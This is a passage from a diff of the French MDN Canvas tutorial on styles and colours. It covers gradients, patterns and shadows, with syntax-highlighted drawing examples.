+  <span class="function token">setTimeout</span><span class="punctuation token">(</span>march<span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">march</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Gradients" name="Gradients">Dégradés</h2>
+
+<p><span id="result_box" lang="fr"><span>Comme n'importe quel programme de dessin normal, nous pouvons remplir et découper des formes à l'aide de dégradés linéaires et radiaux.</span> <span>Nous créons un objet {{domxref ("CanvasGradient")}} en utilisant l'une des méthodes suivantes.</span> <span>Nous pouvons ensuite affecter cet objet aux propriétés <code>fillStyle</code> ou <code>strokeStyle</code>.</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée un objet dégradé linéaire avec un point de départ (<code>x1</code>, <code>y1</code>) et un point final (<code>x2</code>, <code>y2</code>).</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée un dégradé radial.</span> <span>Les paramètres représentent deux cercles, l'un avec son centre à (<code>x1</code>, <code>y1</code>) et un rayon <code>r1</code>, l'autre avec son centre à (<code>x2</code>, <code>y2</code>) avec un rayon <code>r2</code>.</span></span></dd>
+</dl>
+
+<p>Par exemple:</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> lineargradient <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createLinearGradient</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> radialgradient <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createRadialGradient</span><span class="punctuation token">(</span><span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">100</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Une fois que nous avons créé un objet <code>CanvasGradient</code>, nous pouvons lui assigner des couleurs en utilisant la méthode <code>addColorStop ()</code>.</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée un nouvel arrêt de couleur sur l'objet <code>gradient</code> <em>(dégradé)</em>.</span> <span>La position est un nombre entre 0.0 et 1.0 et définit la position relative de la couleur dans le dégradé ; et l'argument <code>color</code> doit être une chaîne représentant une CSS {{cssxref ("&lt;color&gt;")}}, indiquant la couleur que le dégradé</span> <span>devrait atteindre.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Vous pouvez ajouter autant d'arrêts de couleur à un dégradé que vous le souhaitez.</span> <span>Ci-dessous figure un dégradé linéaire très simple du blanc au noir.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> lineargradient <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createLinearGradient</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+lineargradient<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'white'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+lineargradient<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'black'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="A_createLinearGradient_example" name="A_createLinearGradient_example">Un exemple de <code>createLinearGradient</code></h3>
+
+<p><span id="result_box" lang="fr"><span>Dans cet exemple, nous allons créer deux dégradés différents.</span> <span>Comme vous pouvez le voir ici, les propriétés <code>strokeStyle</code> et <code>fillStyle</code> peuvent accepter un objet <code>canvasGradient</code> comme entrée valide.</span></span></p>
+
+<pre class="brush: js;highlight[5,11] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Créer un dégradé</span>
+  <span class="keyword token">var</span> lingrad <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createLinearGradient</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'#00ABEB'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="string token">'#fff'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="string token">'#26C000'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'#fff'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> lingrad2 <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createLinearGradient</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">95</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad2<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.5</span><span class="punctuation token">,</span> <span class="string token">'#000'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  lingrad2<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'rgba(0, 0, 0, 0)'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// assigner des dégradés aux styles "fill" et "stroke"</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> lingrad<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> lingrad2<span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessiner des formes</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">130</span><span class="punctuation token">,</span> <span class="number token">130</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">strokeRect</span><span class="punctuation token">(</span><span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p><span id="result_box" lang="fr"><span>Le premier est un dégradé d'arrière-plan.</span> <span>Comme vous pouvez le voir, nous avons assigné deux couleurs à la même position.</span> <span>Vous faites cela pour faire des transitions de couleurs très nettes - dans ce cas du blanc au vert.</span> <span>Normalement, peu importe dans quel ordre vous définissez l'arrêt de la couleur, mais dans ce cas particulier, la différence peut être significative.</span> <span>Si vous conservez les affectations dans l'ordre où vous voulez qu'elles apparaissent, cela ne posera aucun problème.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Dans le second gradient, nous n'avons pas assigné la couleur de départ (à la position 0.0) puisqu'il n'était pas strictement nécessaire car il prendra automatiquement la valeur de la prochaine couleur.</span> <span>Par conséquent, l'attribution de la couleur noire à la position 0,5 fait automatiquement passer le dégradé, du début à l'arrêt, en noir.</span></span></p>
+
+<p>{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="A_createRadialGradient_example" name="A_createRadialGradient_example">Un exemple de <code>createRadialGradient</code></h3>
+
+<p><span id="result_box" lang="fr"><span>Dans cet exemple, nous définirons quatre dégradés radiaux différents.</span> <span>Parce que nous avons le contrôle sur les points de départ et de fermeture du dégradé, nous pouvons obtenir des effets plus complexes que nous aurions normalement dans les dégradés radiaux "classiques" (c'est-à-dire un dégradé avec un seul point central </span><span>où le dégradé se développe vers l'extérieur dans une forme circulaire).</span></span></p>
+
+<pre class="brush: js;highlight[5,10,15,20] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Créer un dégradé</span>
+  <span class="keyword token">var</span> radgrad <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createRadialGradient</span><span class="punctuation token">(</span><span class="number token">45</span><span class="punctuation token">,</span> <span class="number token">45</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">52</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'#A7D30C'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.9</span><span class="punctuation token">,</span> <span class="string token">'#019F62'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'rgba(1, 159, 98, 0)'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> radgrad2 <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createRadialGradient</span><span class="punctuation token">(</span><span class="number token">105</span><span class="punctuation token">,</span> <span class="number token">105</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">,</span> <span class="number token">112</span><span class="punctuation token">,</span> <span class="number token">120</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad2<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'#FF5F98'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad2<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.75</span><span class="punctuation token">,</span> <span class="string token">'#FF0188'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad2<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'rgba(255, 1, 136, 0)'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> radgrad3 <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createRadialGradient</span><span class="punctuation token">(</span><span class="number token">95</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">,</span> <span class="number token">15</span><span class="punctuation token">,</span> <span class="number token">102</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">,</span> <span class="number token">40</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad3<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'#00C9FF'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad3<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.8</span><span class="punctuation token">,</span> <span class="string token">'#00B5E2'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad3<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'rgba(0, 201, 255, 0)'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> radgrad4 <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createRadialGradient</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">50</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">140</span><span class="punctuation token">,</span> <span class="number token">90</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad4<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="string token">'#F4F201'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad4<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">0.8</span><span class="punctuation token">,</span> <span class="string token">'#E4C700'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  radgrad4<span class="punctuation token">.</span><span class="function token">addColorStop</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="string token">'rgba(228, 199, 0, 0)'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// dessiner des formes</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> radgrad4<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> radgrad3<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> radgrad2<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> radgrad<span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p><span id="result_box" lang="fr"><span>Dans ce cas, nous avons légèrement décalé le point de départ du point final pour obtenir un effet 3D sphérique.</span> <span>Il est préférable d'éviter de laisser les cercles intérieurs et extérieurs se chevaucher car cela entraîne des effets étranges, difficiles à prédire.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Le dernier arrêt de couleur dans chacun des quatre dégradés utilise une couleur entièrement transparente.</span> <span>Si vous voulez une transition agréable de cette étape à la couleur précédente, les deux couleurs doivent être égales.</span> <span>Ce n'est pas très évident dans le code, car il utilise deux méthodes CSS différentes en démonstration, mais dans le premier dégradé <code># 019F62 = rgba (1,159,98,1)</code>.</span></span></p>
+
+<p>{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Patterns" name="Patterns">Modèles</h2>
+
+<p><span id="result_box" lang="fr"><span>Dans l'un des exemples de la page précédente, nous avons utilisé une série de boucles pour créer un motif d'images.</span> <span>Il existe cependant une méthode beaucoup plus simple : la méthode <code>createPattern ()</code>.</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée et renvoie un nouvel objet de canvas.</span> <span><code>image</code> est un {{domxref ("CanvasImageSource")}} (c'est-à-dire un {{domxref ("HTMLImageElement")}} ; un autre élément canvas, </span></span> <code>type</code> <span lang="fr"> <span>est une chaîne indiquant comment utiliser l'image.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Le type spécifie comment utiliser l'image pour créer le motif et doit avoir l'une des valeurs de chaîne suivantes :</span></span></p>
+
+<dl>
+ <dt><code>repeat</code></dt>
+ <dd><span id="result_box" lang="fr"><span>Tapisse la zone en répètant l'image dans les deux sens vertical et horizontal.</span></span></dd>
+ <dt><code>repeat-x</code></dt>
+ <dd>Tapisse la zone en répètant l'image horizontalement mais pas verticalement.</dd>
+ <dt><code>repeat-y</code></dt>
+ <dd>Tapisse la zone en répètant l'image verticalement mais pas horizontalement.</dd>
+ <dt><code>no-repeat</code></dt>
+ <dd>Ne tapisse pas la zone avec l'image, elle est utilisée une seule fois.</dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Nous utilisons cette méthode pour créer un objet {{domxref ("CanvasPattern")}} qui est très similaire aux méthodes de dégradé que nous avons vu ci-dessus.</span> <span>Une fois que nous avons créé un modèle, nous pouvons l'affecter aux propriétés fillStyle ou strokeStyle.</span> <span>Par exemple :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'someimage.png'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> ptrn <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createPattern</span><span class="punctuation token">(</span>img<span class="punctuation token">,</span> <span class="string token">'repeat'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note">
+<p><strong>Note:</strong> <span id="result_box" lang="fr"><span>Comme avec la méthode <code>drawImage ()</code>, vous devez vous assurer que l'image que vous utilisez est chargée avant d'appeler cette méthode, ou le motif pourrait être mal dessiné.</span></span></p>
+</div>
+
+<h3 id="A_createPattern_example" name="A_createPattern_example">Un exemple de <code>createPattern</code></h3>
+
+<p><span id="result_box" lang="fr"><span>Dans ce dernier exemple, nous allons créer un modèle à affecter à la propriété <code>fillStyle</code>.</span> <span>La seule chose à noter, est l'utilisation du gestionnaire <code>onload</code> de l'image.</span> <span>Cela permet de s'assurer que l'image est chargée avant d'être affectée au motif.</span></span></p>
+
+<pre class="brush: js;highlight[10] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// créer un nouvel objet image à utiliser comme modèle</span>
+  <span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png'</span><span class="punctuation token">;</span>
+  img<span class="punctuation token">.</span>onload <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+
+    <span class="comment token">// créer le modèle</span>
+    <span class="keyword token">var</span> ptrn <span class="operator token">=</span> ctx<span class="punctuation token">.</span><span class="function token">createPattern</span><span class="punctuation token">(</span>img<span class="punctuation token">,</span> <span class="string token">'repeat'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> ptrn<span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Le résultat ressemble à ceci :</p>
+</div>
+
+<p>{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}</p>
+
+<h2 id="Ombres">Ombres</h2>
+
+<p><span id="result_box" lang="fr"><span>L'utilisation des ombres ne comporte que quatre propriétés :</span></span></p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Indique la distance horizontale sur laquelle l'ombre doit s'étendre à partir de l'objet.</span> <span>Cette valeur n'est pas affectée par la matrice de transformation.</span> <span>La valeur par défaut est 0.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Indique la distance verticale sur laquelle l'ombre doit s'étendre à partir de l'objet.</span> <span>Cette valeur n'est pas affectée par la matrice de transformation.</span> <span>La valeur par défaut est 0.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Indique la taille de l'effet de floutage ;</span> <span>cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle.</span> <span>La valeur par défaut est 0.</span></span></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}</dt>
+ <dd>Une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ; par défaut, il est entièrement noir transparent.</dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Les propriétés <code>shadowOffsetX</code> et <code>shadowOffsetY</code> indiquent sur quelle distance l'ombre doit s'étendre à partir de l'objet dans les directions X et Y;</span> <span>ces valeurs ne sont pas affectées par la matrice de transformation actuelle.</span> <span>Utilisez des valeurs négatives pour faire en sorte que l'ombre s'étende vers le haut ou vers la gauche et des valeurs positives pour que l'ombre s'étende vers le bas ou vers la droite.</span> <span>La valeur par défaut est 0 pour les 2 propriétés.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>La propriété <code>shadowBlur</code> indique la taille de l'effet de flou ;</span> <span>cette valeur ne correspond pas à un nombre de pixels et n'est pas affectée par la matrice de transformation actuelle.</span> <span>La valeur par défaut est 0.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>La propriété <code>shadowColor</code> est une valeur de couleur CSS standard indiquant la couleur de l'effet d'ombre ;</span> <span>par défaut, il est entièrement en noir transparent.</span></span></p>
+
+<div class="note">
+<p><strong>Note :</strong> <span id="result_box" lang="fr"><span>Les ombres ne sont dessinées que pour les <a href="https://developer.mozilla.org/fr/docs/Web/API/Canvas_API/Tutorial/Compositing">opérations de composition</a> <code>source-over</code>.</span></span></p>
+</div>
+
+<h3 id="A_shadowed_text_example" name="A_shadowed_text_example">Un exemple de texte ombré</h3>
+
+<p><span id="result_box" lang="fr"><span>Cet exemple dessine une chaîne de texte avec un effet d'ombrage.</span></span></p>
+
+<pre class="brush: js;highlight[4,5,6,7] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  ctx<span class="punctuation token">.</span>shadowOffsetX <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>shadowOffsetY <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>shadowBlur <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
